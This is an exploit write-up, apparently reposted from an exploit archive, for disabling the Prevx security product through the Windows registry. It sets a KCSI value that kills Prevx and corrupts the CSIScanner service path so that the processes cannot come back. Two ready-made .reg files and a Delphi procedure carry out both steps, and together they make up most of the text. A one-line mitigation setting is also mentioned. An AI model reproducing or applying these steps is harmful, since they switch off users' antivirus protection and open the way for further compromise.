Prevx Registry value “KCSI” Exploit

===================================
Prevx Registry value “KCSI” Exploit
===================================

Prevx, trying to read the data contained in the registry value”\PCSI\KCSI”, and eventually make it null if it contains data different than zero.

Roots and keys:
HKLM\SOFTWARE\PCSI\KCSI
HKCU\Software\PCSI\KCSI
HKU\.DEFAULT\Software\PCSI\KCSI

Value : KCSI
Data type : REG_DWORD
Data value : $00000001

This value does not exist when you install Prevx, but he continually seeks it every time.

By changing the data stored in this value to “1”, Prevx was killed instantly, but Prevx processes resurrected.

To bypass resurrection, we can corrupt service or drivers keys values by synchronizing modification after the process is completed or using Loop to write 1 every second.

Settings:
- Turn 'ON' Monitoring to get MAXIMUM Protection (this option prevents any Prevx registry keys malicious modification).


Use Windows registry file to add new values:

------ KillPrevxOneTime.reg --------
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PCSI]
"KCSI"=dword:00000001

--------- CorruptCSIScanner.reg ----------
Windows Registry Editor Version 5.00

;Corrupt ImagePath to ""C:\Program Files\Prevx\prevx1.exe" /service";
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CSIScanner]
"ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,\
6d,00,20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,50,00,72,00,65,00,76,00,78,\
00,5c,00,70,00,72,00,65,00,76,00,78,00,31,00,2e,00,65,00,78,00,65,00,22,00,\
20,00,2f,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00

Launch” KillPrevxOneTime.reg” then “CorruptCSIScanner.reg”, you must synchronizing these operations.

Delphi part of code without optimization and checks:
procedure KillPx();
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('\SOFTWARE\PCSI', False);
Reg.WriteInteger('KCSI', $00000001);

Sleep(1500);

Reg.OpenKey('\SYSTEM\CurrentControlSet\Services\CSIScanner', False);
Reg.WriteExpandString('ImagePath', '"C:\Program Files\Prevx\prevx1.exe" /service');

Reg.CloseKey;
Reg.Free;
end;

c) 2010 STRELiTZIA



#  0day.today [2018-03-10]  #